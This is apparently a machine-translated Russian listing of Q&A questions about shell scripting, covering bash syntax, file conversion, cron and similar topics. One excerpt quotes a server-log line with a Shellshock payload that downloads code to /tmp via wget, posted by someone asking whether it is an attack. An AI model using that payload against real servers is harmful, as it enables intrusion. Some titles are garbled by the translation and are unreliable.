Вопросы с меткой [shell-script]

Сценарий оболочки - это сценарий, написанный для оболочки или интерпретатора командной строки операционной системы.

146
голосов
10ответов
192k показов

Пакетное преобразование PNG в JPG в Linux

Кто-нибудь знает хороший способ пакетного преобразования группы PNG в JPG в Linux? (Я использую Ubuntu). Двоичный файл png2jpg, который я мог бы просто вставить в сценарий оболочки, был бы идеальным.
101
голос
6ответов
26k показов

Когда я должен использовать #!/bin/bash и когда #!/ Бен / ш?

Когда это #!/bin/bash более уместен, чем #!/bin/sh в скрипте оболочки?
85
голосов
7ответов
282k показов

перебирая результаты `ls` в скрипте bash

Есть ли у кого-нибудь сценарий оболочки шаблона для того, чтобы сделать что-то с ls для списка имен каталогов и пройтись по каждому из них и что-то сделать? Я планирую сделать ls -1d */ чтобы ...
68
голосов
3ответа
86k показов

Что делает экспорт в BASH?

Возможный дубликат: Разница между «a = b» и «export a = b» в bash Трудно признать, но я никогда не понимал, что именно export делает для переменной среды. Я знаю, что если я не экспортирую ...
59
голосов
15ответов
525k показов

Как выполнить файл .sh в Windows?

Когда я пытаюсь выполнить файл (name.sh) в командной строке с помощью команды ./name.sh, я получаю сообщение об ошибке: "" не распознается как внутренняя или внешняя команда, рабочий или пакетный ...
53
голоса
4ответа
74k показов

Проверьте, соответствует ли какой-либо из параметров скрипта bash строке

Я пытаюсь написать скрипт, в котором я хочу проверить, соответствует ли какой-либо из параметров, переданных скрипту bash, строке. То, как я сейчас это настроил, if [ "$3" != "-disCopperBld" -a "$4" ...
48
голосов
9ответов
33k показов

Журнал ротации stdout?

У меня есть программа для Linux, которая может записывать информацию в stdout и stderr. У меня есть сценарий оболочки, который перенаправляет этот вывод в файл в /var/log . (Через >> и 2>&1 ) Есть ли ...
42
голоса
2ответа
43k показов

Избегайте нежелательных путей в Zip-файле

Я делаю сценарий оболочки для упаковки некоторых файлов. Я архивирую каталог, как это: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Проблема в том, что в ...
33
голоса
12ответов
126k показов

Заполнение массива в DOS Batch Script

Как я могу установить переменную массива в пакетном скрипте DOS? Я хотел бы загрузить его со списком имен файлов для обработки. Я действительно хотел бы сделать это как можно более простым. Спасибо.
30
голосов
2ответа
4k показов

Что делает этот скрипт bash? [Попытка взлома]

В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET ...
30
голосов
2ответа
4k показов

Что не так с «echo $(вещи)» или «эхо` вещи` »?

Я использовал один из следующих echo $(stuff) echo `stuff` (где stuff , например, pwd или date или что-то более сложное). Затем мне сказали, что этот синтаксис неправильный, плохая практика, не ...
26
голосов
5ответов
19k показов

Как извлечь полный список типов расширений в каталоге?

Внутри каталога и рекурсивно в его подкаталогах, что означает, что каждый каталог в каталоге обрабатывается, как мне составить полный список уникальных расширений в каталоге? ОС - это Windows XP со ...
25
голосов
3ответа
16k показов

Как обновить bash на Mac OS X Yosemite

Просто пытаюсь немного изучить скрипты bash. Моя старая версия Bash: Bash version 3.2.53(1)-release... Я обновил мой bash на Mac OS X Yosemite с помощью homebrew: brew update brew install bash Затем ...
23
голоса
8ответов
214k показов

Как запустить скрипт оболочки в Windows?

Я пользователь Mac и новичок в Windows. Как я могу выполнить сценарий оболочки в Windows? Обычно я сохраняю текстовый файл с расширением .sh и запускаю его через терминал. Но как я мог сделать это в ...
23
голоса
3ответа
5k показов

Это атака или что-то, о чем нужно беспокоиться? Shellshock?

Увидел это в access.log на моем тестовом сервере: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
23
голоса
2ответа
106k показов

Сценарий оболочки отображает новую строку в файле

Я хочу отобразить новую строку в файле между переменными в сценарии оболочки. Вот мой код: var1="Hello" var2="World!" logwrite="$var1 [Here's where I want to insert a new line] $var2 echo "$logwrite" ...
22
голоса
3ответа
29k показов

Определить архитектуру Mac из командной строки или скрипта?

Я пишу сценарий оболочки, и мне нужно знать архитектуру, то есть PPC или Intel. Когда-то была программа /bin /arch, которая говорила вам, но мой Mac, похоже, не имеет ее. Есть ли простой способ ...
22
голоса
4ответа
19k показов

Как заменить часть текстового файла между маркерами другим текстовым файлом?

Скажем, у меня есть текстовый файл, как это: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Я хотел бы заменить часть между тегами GENERATED CONTENT содержимым ...
21
голос
2ответа
110k показов

Как объединить строки в скрипте bash?

Как я могу объединить строки и переменные в сценарии оболочки? stringOne = "foo" stringTwo = "everythingButBar" stringThree = "? а также ?" Я хочу вывести "foo и что-нибудьButBar"
20
голосов
3ответа
36k показов

Передача двух аргументов в команду с использованием каналов

Обычно нам нужно передать только один аргумент: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file Есть ли способ передать два аргумента? Что-то вроде {echo abc , echo xyz} | cat ...
20
голосов
4ответа
15k показов

Должен ли я использовать расширения * .sh и * .rb для всех моих сценариев?

У меня есть куча свернутых вручную исполняемых скриптов в моем каталоге $ HOME/bin. Некоторые написаны на bash, некоторые на Ruby. У всех них есть строка shebang вверху, указывающая оболочке, какой ...
19
голосов
2ответа
7k показов

Написание сценариев оболочки, которые будут работать в любой оболочке (используя несколько строк shebang?)

Я только начал глубже разбираться в сценариях оболочки, и я всегда просто бросал свой сценарий в файл, отмечал его как chmod +x а затем делал /path/to/script.sh и позволял любому интерпретатору по ...
19
голосов
7ответов
106k показов

ssh и shell через ssh: как выйти?

Я запускаю удаленный скрипт через SSH так: ssh user@ipaddress '~/my_script.sh' Все идет хорошо, но как только скрипт завершен, соединение не закрывается. Я должен нажать CTRL-C, чтобы разорвать ...
19
голосов
2ответа
70k показов

Как сравнить переменную с текстовой строкой, а не с целым числом, в операторе if/else?

В процессе написания сценария оболочки я столкнулся с проблемой следующего оператора if/else, который находится где-то посередине сценария: if [ $act -eq "add" ] then read - "add or update: " $comm ...
18
голосов
12ответов
27k показов

как `хвост` последний файл в каталоге

В оболочке, как я могу tail последний файл, созданный в каталоге?
18
голосов
5ответов
2k показов

Программно определить, выполняется ли скрипт на ноутбуке или настольном компьютере?

Есть ли надежный способ (программно) определить из сценария bash, выполняется ли он на ноутбуке или настольном компьютере? Очевидно, я мог бы просто попросить пользователя спросить их, но это ...
18
голосов
7ответов
46k показов

Запустить сценарий оболочки в OS X без появления окна терминала?

Я пытаюсь настроить несколько сочетаний клавиш, которые открывают определенные сеансы iTerm, что я смог сделать с помощью BetterTouchTool и немного магии AppleScript. Проблема в том, что OS X ...
17
голосов
6ответов
13k показов

Запустите скрипт в OS X 10.6 по сетевому соединению. (например, /etc/network/if-up.d/)

Есть ли способ запустить скрипт, когда в Mac OS X появляется сетевой интерфейс? Я попытался поместить скрипт с именем ip-up в /etc /ppp, но он не срабатывает, когда я отключаюсь и снова подключаюсь к ...
16
голосов
4ответа
27k показов

Как избежать апостроф в строке в кавычках в bash?

Я не понимаю, как bash оценивает экранирование символов апострофа в одиночных кавычках. Вот пример: $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' > # expects you to ...
15
голосов
1ответ
4k показов

Bash: опционально передавая аргументы команде

Я пытаюсь добавить аргументы для вызова команды зависит от другой переменной. Пожалуйста, посмотрите код сценария оболочки: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ ...
15
голосов
4ответа
7k показов

Кто имеет дело со звездой * в эхо *

Кто имеет дело (интерпретирует) * в echo * Эхо видит звезду или оболочка заботится об этом и возвращает список имен файлов ... Как насчет cp temp temp*
14
голосов
2ответа
25k показов

Почему я получаю [[: not found при запуске скрипта?

Я пытаюсь написать скрипт, который должен проверить, существует ли файл. В консоли пишу if [[ -a /path/to/file.txt ]]; then echo "not mod"; else echo "mod"; fi и я получаю not mod но когда я пишу ...
14
голосов
3ответа
13k показов

Оболочка Bash: список всех файлов типа .png или.PNG?

Как сказать «в скрипте bash» для всех файлов типа .png или.PNG? Я пытаюсь : for i in (`ls *.PNG` && `ls *.png`) но получаю синтаксическую ошибку.
14
голосов
3ответа
7k показов

Как запустить скрипт bash из Finder в OS X?

Как запустить скрипт bash из Finder в OS X? Я в порядке, работаю в CLI, но мои маленькие сценарии не так любимы моими коллегами с GUI.
14
голосов
1ответ
11k показов

Разбить очень длинную строку слов на отдельные строки максимальной длины

У меня есть скрипт, который выводит список пакетов на одной длинной строке, разделенных пробелами. Информация, включенная в эту строку, должна быть вставлена в текстовый файл, который впоследствии ...
14
голосов
2ответа
6k показов

В чем разница между set, env, объявлять и экспортировать при установке переменной в оболочке Linux?

В чем разница между set , env , declare и export при установке переменной в оболочке Linux, такой как bash?
13
голосов
3ответа
68k показов

Как напечатать символ новой строки с помощью echo?

Я сбрасываю строку с hexdump как этот 2031 3334 2e30 0a32 2032 3331 302e 000a . Ясно, что 0x0a - символ новой строки, однако, когда я пытаюсь вывести эту строку, я всегда 1 430.2 2 13.0 - новая ...
13
голосов
3ответа
60k показов

Как выполнить сценарий оболочки при запуске?

Я создал скрипт для запуска сервера (мой первый вопрос). Теперь я хочу, чтобы он запускался при загрузке системы и запускал определенный сервер. Что я должен сделать, чтобы сделать это? Мои выводы ...
13
голосов
1ответ
9k показов

Где хранить скрипт cronjob?

Я бы предпочел не хранить его в каталоге /home/myusername . Есть ли лучшая практика, где хранить ваши сценарии оболочки для cronjobs? На корневом уровне? Я использую Ubuntu Server 12.04 прямо сейчас.
12
голосов
1ответ
19k показов

Как передать переменные в HEREDOC в Bash?

Я хочу сделать что-то вроде этого: $ NAME=John $ cat test My name is $NAME ==end $ cat test My name is John Есть идеи?
12
голосов
2ответа
13k показов

Программно откройте вкладку в gnome-terminal, выполните команду и оставьте вкладку открытой

Я пытаюсь написать команду, которая запустит несколько вкладок терминала, выполнит что-то на каждой вкладке и оставит каждую вкладку открытой после завершения команды, чтобы я мог посмотреть на вывод ...
11
голосов
4ответа
7k показов

Где хранятся функции оболочки в Linux?

Сначала я искал причину, по which ничего не выводится после предоставления в качестве аргумента определенных программ, например, cd . Из того, что я нашел здесь, причина, вероятно, заключается в том, ...
11
голосов
2ответа
3k показов

Как редактировать файл Excel (xlsx), используя оболочку linux

Есть ли способ (инструмент) для редактирования файлов XLSX с помощью оболочки Linux? Мне нужен способ удалить последние три непустые строки с первого листа. Я знаю, что XLSX - это просто zip-файл, ...
10
голосов
4ответа
17k показов

grep меняет разделитель

В любом случае мы можем изменить разделитель, который использует grep? Я думаю, что по умолчанию grep использует \n в качестве разделителя.
10
голосов
1ответ
13k показов

Могу ли я "экспортировать" псевдоним в SHELL, который вызвал скрипт?

Я пытаюсь написать служебный скрипт, который определяет определенные псевдонимы. Моя ОБОЛОЧКА это tcsh (не могу это изменить). Я попробовал следующее #!/bin/tcsh alias log 'less ~/logs/log.`date ...
10
голосов
1ответ
6k показов

Выход из скрипта bash, когда curl получает статус HTTP не 200

У меня есть скрипт bash для выполнения нескольких запросов curl for currency in EUR INR JPY do curl -i --data '{"currency": "'$currency'"}' -H "Accept: application/json" -H "Content-Type: ...
10
голосов
6ответов
24k показов

Запуск процесса Linux в фоновом режиме

Я пытаюсь создать скрипт, который запускает некоторые программы startup.sh knetworkmanager emesene keepassx Проблема в том, что когда я запускаю скрипт, он только запускает knetworkmanager. Это ...
10
голосов
3ответа
18k показов

Цикл по диапазону номеров для загрузки с помощью wget

Как я могу написать скрипт bash, который будет делать следующее: URL = "example.com/imageID=" while (1..100) wget URL + $i #it will wget example.com/imageID=1, then 2, then 3, etc done Таким образом, ...
10
голосов
2ответа
32k показов

Как найти все программные ссылки (символические ссылки) в текущем каталоге?

Вопрос касается shell-скриптинга в bash . Как проверить с помощью скрипта, какие файлы в текущем каталоге являются программными ссылками? Если я использовал неправильный термин, когда я говорю мягкие ...
10
голосов
1ответ
12k показов

Чтение значений из вложенных словарей plist в сценарии оболочки

У меня есть файл plist, и я заинтересован в получении значений из вложенных словарей с помощью сценария оболочки. Вот структура моего файла plist: Countries USA Capital Washington DC Continent North ...